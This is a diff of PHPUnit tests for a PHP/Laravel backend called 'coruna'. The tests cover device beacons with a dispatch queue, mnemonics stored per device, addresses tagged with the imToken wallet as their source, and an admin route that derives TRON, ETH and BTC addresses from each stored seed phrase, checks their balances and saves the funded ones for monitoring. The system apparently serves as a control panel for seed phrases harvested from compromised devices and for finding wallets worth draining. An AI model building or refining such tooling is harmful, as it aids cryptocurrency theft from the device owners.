$this->assertSame($expected, $dispatched);
$this->assertSame(0, $queue->queueLength($device));
$this->assertSame(1, $queue->roundsRemaining($device));
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
$this->assertSame(0, $queue->roundsRemaining($device));
$this->assertSame(0, $queue->queueLength($device));
}
+27 -16
View File
@@ -152,10 +152,31 @@ class MnemonicAddressLinkTest extends TestCase
}
#[Test]
public function derive_index_beyond_four_is_not_linked(): void
public function derive_index_nine_is_linked(): void
{
$device = $this->makeDevice('dev-link-4a');
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 9);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $tron,
'chain_type' => 'TRON',
'source' => 'imToken',
'monitor' => 0,
]);
$mnemonic = $this->storeMnemonic($device);
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
$addr->refresh();
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
$this->assertSame(9, $addr->derive_index);
}
#[Test]
public function derive_index_beyond_nine_is_not_linked(): void
{
$device = $this->makeDevice('dev-link-4');
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 5);
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 10);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
@@ -278,7 +299,7 @@ class MnemonicAddressLinkTest extends TestCase
}
#[Test]
public function backfill_derives_index_zero_when_mnemonic_has_no_addresses(): void
public function backfill_skips_inactive_derived_addresses(): void
{
$device = Device::query()->create(['device_id' => 'dev-backfill-derive']);
$mnemonic = new WalletMnemonic([
@@ -289,20 +310,10 @@ class MnemonicAddressLinkTest extends TestCase
$mnemonic->save();
$this->artisan('coruna:link-mnemonics')
->expectsOutputToContain('linked=0 discovered=3')
->expectsOutputToContain('linked=0 discovered=0')
->assertSuccessful();
$rows = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$this->assertCount(3, $rows);
$this->assertSame(['TRON', 'ETH', 'BTC'], $rows->pluck('chain_type')->all());
$this->assertSame([
self::TRON_0,
self::ETH_0,
'1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA',
], $rows->pluck('address')->all());
$this->assertSame([0, 0, 0], $rows->pluck('derive_index')->all());
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
}
}
+158 -72
View File
@@ -8,6 +8,7 @@ use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\TronDriver;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
@@ -207,43 +208,12 @@ class MnemonicWalletsTest extends TestCase
}
#[Test]
public function wallets_discovers_funded_index_zero_when_no_linked_addresses(): void
public function wallets_discovers_activated_indexes_when_no_linked_addresses(): void
{
config([
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
$this->fakeDiscoveryRpcs([
'tron' => ['TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'],
]);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 5_000_000], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => [dechex(0)]], 200);
}
if (str_contains($url, 'ethereum.example')) {
$body = $request->data();
$method = $body['method'] ?? '';
if ($method === 'eth_getBalance') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
if ($method === 'eth_call') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
}
if (str_contains($url, 'mempool.example')) {
return Http::response([
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
], 200);
}
return Http::response([], 404);
});
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-discover']);
$mnemonic = $this->storeMnemonic($device);
@@ -255,13 +225,9 @@ class MnemonicWalletsTest extends TestCase
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
->assertJsonPath('data.addresses.0.trx', '5')
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
->assertJsonPath('data.addresses.1.eth', '0')
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
->assertJsonPath('data.addresses.2.btc', '0')
->assertJsonCount(3, 'data.addresses');
->assertJsonPath('data.addresses.0.active', true)
->assertJsonPath('data.addresses.0.persisted', true)
->assertJsonCount(1, 'data.addresses');
$this->assertDatabaseHas('wallet_addresses', [
'device_id' => $device->id,
@@ -269,40 +235,76 @@ class MnemonicWalletsTest extends TestCase
'mnemonic_id' => $mnemonic->id,
'derive_index' => 0,
'chain_type' => 'TRON',
'monitor' => 1,
]);
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
}
#[Test]
public function wallets_persists_index_zero_even_when_balances_are_zero(): void
public function wallets_persists_activated_index_within_first_three(): void
{
config([
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
$tron2 = (new TronDriver)->deriveAddress(
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
2,
);
$this->fakeDiscoveryRpcs([
'tron' => [$tron2],
]);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 0], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => ['0']], 200);
}
if (str_contains($url, 'ethereum.example')) {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
if (str_contains($url, 'mempool.example')) {
return Http::response([
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
], 200);
}
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-index2']);
$mnemonic = $this->storeMnemonic($device);
return Http::response([], 404);
});
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.address', $tron2)
->assertJsonPath('data.addresses.0.derive_index', 2)
->assertJsonCount(1, 'data.addresses');
$this->assertDatabaseHas('wallet_addresses', [
'device_id' => $device->id,
'address' => $tron2,
'mnemonic_id' => $mnemonic->id,
'derive_index' => 2,
]);
$this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count());
}
#[Test]
public function wallets_skips_activated_index_beyond_first_three(): void
{
$tron3 = (new TronDriver)->deriveAddress(
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
3,
);
$this->fakeDiscoveryRpcs([
'tron' => [$tron3],
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-index3']);
$mnemonic = $this->storeMnemonic($device);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.active', false)
->assertJsonPath('data.addresses.0.persisted', false)
->assertJsonCount(3, 'data.addresses');
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertDatabaseMissing('wallet_addresses', [
'address' => $tron3,
]);
}
#[Test]
public function wallets_previews_inactive_index_zero_without_persisting(): void
{
$this->fakeDiscoveryRpcs([]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-empty']);
@@ -314,16 +316,100 @@ class MnemonicWalletsTest extends TestCase
->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
->assertJsonPath('data.addresses.0.trx', '0')
->assertJsonPath('data.addresses.0.derive_index', 0)
->assertJsonPath('data.addresses.0.active', false)
->assertJsonPath('data.addresses.0.persisted', false)
->assertJsonPath('data.addresses.0.id', null)
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
->assertJsonPath('data.addresses.1.eth', '0')
->assertJsonPath('data.addresses.1.active', false)
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
->assertJsonPath('data.addresses.2.btc', '0')
->assertJsonPath('data.addresses.2.active', false)
->assertJsonCount(3, 'data.addresses');
$this->assertSame(3, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
}
/**
* @param array{tron?: list<string>, eth?: list<string>, btc?: list<string>} $activated
*/
private function fakeDiscoveryRpcs(array $activated): void
{
config([
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
]);
$tronOn = array_fill_keys($activated['tron'] ?? [], true);
$ethOn = [];
foreach ($activated['eth'] ?? [] as $addr) {
$ethOn[strtolower($addr)] = true;
}
$btcOn = array_fill_keys($activated['btc'] ?? [], true);
Http::fake(function ($request) use ($tronOn, $ethOn, $btcOn) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
$addr = (string) ($request->data()['address'] ?? '');
if (isset($tronOn[$addr])) {
return Http::response([
'address' => $addr,
'create_time' => 1,
'balance' => 5_000_000,
], 200);
}
return Http::response([], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => ['0']], 200);
}
if (str_contains($url, 'ethereum.example')) {
$body = $request->data();
$method = $body['method'] ?? '';
$target = strtolower((string) (($body['params'][0] ?? '')));
if ($method === 'eth_call') {
$target = '';
}
$hit = $target !== '' && isset($ethOn[$target]);
if (in_array($method, ['eth_getTransactionCount', 'eth_getBalance', 'eth_call'], true)) {
return Http::response([
'jsonrpc' => '2.0',
'id' => 1,
'result' => $hit ? '0x1' : '0x0',
], 200);
}
}
if (str_contains($url, 'mempool.example')) {
foreach (array_keys($btcOn) as $addr) {
if (str_contains($url, rawurlencode($addr)) || str_contains($url, $addr)) {
return Http::response([
'chain_stats' => [
'tx_count' => 1,
'funded_txo_count' => 1,
'funded_txo_sum' => 100_000,
'spent_txo_sum' => 0,
],
], 200);
}
}
return Http::response([
'chain_stats' => [
'tx_count' => 0,
'funded_txo_count' => 0,
'funded_txo_sum' => 0,
'spent_txo_sum' => 0,
],
], 200);
}
return Http::response([], 404);
});
}
}